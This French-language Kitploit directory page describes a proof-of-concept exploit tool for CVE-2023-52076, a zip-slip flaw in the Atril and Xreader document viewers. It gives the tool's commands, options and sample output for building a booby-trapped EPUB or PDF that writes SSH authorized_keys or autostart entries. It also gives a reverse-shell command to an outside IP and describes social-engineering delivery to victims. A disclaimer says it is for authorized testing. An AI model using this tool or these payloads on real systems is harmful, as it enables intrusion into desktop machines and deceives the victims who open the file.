Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/groppoxx/cve-2023-52076-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationTests d'IntrusionIngénierie SocialeExploitation de Binaires
GitHubgroppoxx/cve-2023-52076-poc

CVE-2023-52076-PoC

Exploit PoC pour CVE-2023-52076 - traversée de chemin zip-slip dans Atril/Xreader (MATE/Cinnamon) permettant l'écriture arbitraire de fichiers et une RCE via un EPUB conçu. Tests de sécurité autorisés uniquement.

Voir le dépôt
3il y a 24 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-52076-PoC

Preuve de concept pour CVE-2023-52076, une vulnérabilité critique de traversée de chemin et d'écriture arbitraire de fichier dans les visionneuses de documents Atril/Xreader affectant les environnements de bureau MATE.

Le script génère une charge utile EPUB conçue avec des chemins zip-slip ciblant soit la configuration SSH, soit les entrées de bureau autostart, permettant une exécution de commande à distance sur les systèmes ciblés.

Ce qu'il fait

  1. Prend en charge deux modes d'exploitation : injection de clé SSH ou RCE par autostart.
  2. Génère une paire de clés RSA (mode SSH uniquement).
  3. Construit un EPUB valide avec des chemins zip-slip intégrés ciblant l'extraction vulnérable.
  4. Écrit la charge utile dans 5 à 9 variantes de chemins de traversée utilisant des gadgets /proc/self/cwd.
  5. Crée des copies .epub et .pdf (les deux déclenchent la vulnérabilité).
  6. Valide la structure de la charge utile et vérifie toutes les entrées.
  7. Téléverse facultativement la charge utile via FTP anonyme.

Prérequis

root@kitploit:~
Python 3.8+
ssh-keygen in PATH (SSH mode only)

Démarrage rapide

Mode SSH (recommandé)

Générer la charge utile SSH localement :

root@kitploit:~
python3 cve_2023_52076.py --mode ssh

Mode Autostart

Générer une charge utile RCE autostart avec une commande personnalisée :

root@kitploit:~
python3 cve_2023_52076.py --mode autostart --command "id > /tmp/pwned.txt"

Exemple complet

Mode SSH avec téléversement FTP

root@kitploit:~
python3 cve_2023_52076.py \
  --mode ssh \
  --name slippy-ssh \
  --key ./keys/atril_rsa \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

Exemple de sortie :

root@kitploit:~
[2026-07-27T14:23:45Z] [*] Generating RSA-3072 keypair: ./keys/atril_rsa
[2026-07-27T14:23:47Z] [*] Building EPUB with 9 zip-slip entries
[2026-07-27T14:23:47Z] [*] Validating payload: ./payloads/slippy-ssh.epub
[2026-07-27T14:23:47Z] [+] Validated 9 payload entries
[2026-07-27T14:23:47Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:23:48Z] [*] Uploading ./payloads/slippy-ssh.epub as slippy-ssh.epub
[2026-07-27T14:23:48Z] [+] Upload complete. Remote directory listing:
-rw-r--r-- 1 0 0 2048 Jul 27 14:23 slippy-ssh.epub

[+] Payload ready
Mode:        SSH (authorized_keys)
Private key: ./keys/atril_rsa (mode 600)
Public key:  ./keys/atril_rsa.pub
Fingerprint: 3072 SHA256:abcd1234... atril-poc (RSA)
EPUB:        ./payloads/slippy-ssh.epub
PDF copy:    ./payloads/slippy-ssh.pdf

[+] SSH login remains manual:
    ssh -i ./keys/atril_rsa -o IdentitiesOnly=yes <user>@<target>

Mode Autostart avec téléversement FTP

root@kitploit:~
python3 cve_2023_52076.py \
  --mode autostart \
  --command "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" \
  --name slippy-rce \
  --output-dir ./payloads \
  --upload \
  --host ftp.target.local \
  --ftp-dir pub

Exemple de sortie :

root@kitploit:~
[2026-07-27T14:25:10Z] [*] Building EPUB with 5 zip-slip entries
[2026-07-27T14:25:10Z] [*] Validating payload: ./payloads/slippy-rce.epub
[2026-07-27T14:25:10Z] [+] Validated 5 payload entries
[2026-07-27T14:25:10Z] [*] Connecting to FTP ftp.target.local:21
[2026-07-27T14:25:11Z] [*] Uploading ./payloads/slippy-rce.epub as slippy-rce.epub
[2026-07-27T14:25:11Z] [+] Upload complete.

[+] Payload ready
Mode:       Autostart (.desktop RCE)
Command:    bash -i >& /dev/tcp/10.10.10.10/4444 0>&1
EPUB:       ./payloads/slippy-rce.epub
PDF copy:   ./payloads/slippy-rce.pdf

[+] Victim must logout/login for autostart to trigger

Options facultatives

root@kitploit:~
--mode {ssh,autostart}
   Payload mode. Default: ssh
   ssh: Inject SSH authorized_keys (no victim interaction needed after file opens).
   autostart: Create .desktop RCE in autostart (triggers on next logout/login).

--command <CMD>
   Payload command for --mode autostart. Required if --mode autostart.
   Example: --command "id > /tmp/pwned.txt"

--name <NAME>
   Local payload basename. Default: base-clean

--key <PATH>
   Private key path (SSH mode only). Default: slippy_rsa

--key-bits <BITS>
   RSA key size (SSH mode only). Options: 2048, 3072, 4096. Default: 3072

--output-dir <DIR>
   Output directory for .epub/.pdf. Default: output

--upload
   Upload the payload to FTP after generating.

--host <HOST>
   FTP target host or IP. Required if --upload is set.

--port <PORT>
   FTP port. Default: 21

--ftp-dir <DIR>
   Remote FTP directory, e.g. pub.

--ftp-user <USER>
   FTP username. Default: anonymous

--ftp-password <PWD>
   FTP password. Default: anonymous@

--remote-name <NAME>
   Remote EPUB filename. Default: ludwig.epub

--upload-pdf
   Upload the .pdf copy instead of the .epub.

--force
   Replace existing output and key files.

--timeout <SECONDS>
   FTP connection timeout. Default: 10.0

--only-final
   Hide progress logs and print only the final summary.

--no-color
   Disable ANSI colors.

--debug
   Print executed subprocess commands (ssh-keygen).

Déroulement de l'exploitation

Mode SSH

  1. Générer la charge utile : le script crée un EPUB avec la clé publique dans les chemins authorized_keys.
  2. Ingénierie sociale : envoyer l'EPUB/PDF à la cible (déguisé en livre électronique).
  3. La victime ouvre le fichier : Atril/Xreader extrait le contenu de l'EPUB.
  4. Traversée de chemin : le code vulnérable écrit la clé publique dans ~/.ssh/authorized_keys.
  5. Accès SSH : l'attaquant se connecte à l'aide de la clé privée.

Mode Autostart

  1. Générer la charge utile : le script crée un EPUB avec une entrée .desktop dans les chemins autostart.
  2. Ingénierie sociale : envoyer l'EPUB/PDF à la cible.
  3. La victime ouvre le fichier : Atril/Xreader extrait le contenu de l'EPUB.
  4. Traversée de chemin : le code vulnérable écrit le fichier .desktop dans ~/.config/autostart/.
  5. Déclenchement : lors de la prochaine déconnexion/connexion, le fichier .desktop exécute automatiquement la commande.

Points clés

  • Aucun nom d'utilisateur requis : le gadget /proc/self/cwd se résout au moment de l'extraction.
  • Variantes de chemins multiples : 9 chemins pour SSH, 5 pour autostart, maximise le succès quelle que soit la profondeur des répertoires.
  • Aucun écrasement de fichier : crée uniquement de nouveaux fichiers (respecte la limitation de la CVE).
  • Mode hors ligne : générer des charges utiles sans livraison FTP (utiliser --upload uniquement si nécessaire).
  • Commandes flexibles : le mode autostart prend en charge toute commande bash.
  • Le mode SSH est immédiat : aucune interaction de la victime après l'ouverture du fichier.
  • L'autostart nécessite une reconnexion : la victime doit se déconnecter/se reconnecter pour que la RCE se déclenche.

Notes

  • Versions concernées : Atril (MATE DE), Xreader (Cinnamon, Linux Mint) < 1.26.2.
  • Testé sur : Kali Linux, Parrot OS, Ubuntu-Mate, Xubuntu.
  • Nécessite que la victime ouvre le document conçu dans une visionneuse vulnérable.
  • Fonctionne hors ligne ; aucun rappel réseau vers l'attaquant pendant l'exploitation.
  • Meilleure pratique : livrer via FTP (--upload) pour éviter un hébergement direct.

Légal

Ce PoC est destiné aux tests de sécurité autorisés, aux environnements de laboratoire et à la vérification de vulnérabilités. Ne l'utilisez pas contre des systèmes sans autorisation explicite.

Télécharger l’outil